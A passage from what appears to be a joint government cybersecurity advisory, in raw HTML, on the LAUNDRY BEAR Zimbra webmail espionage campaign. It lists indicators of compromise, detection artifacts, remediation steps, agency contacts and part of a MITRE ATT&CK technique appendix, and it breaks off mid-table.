<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
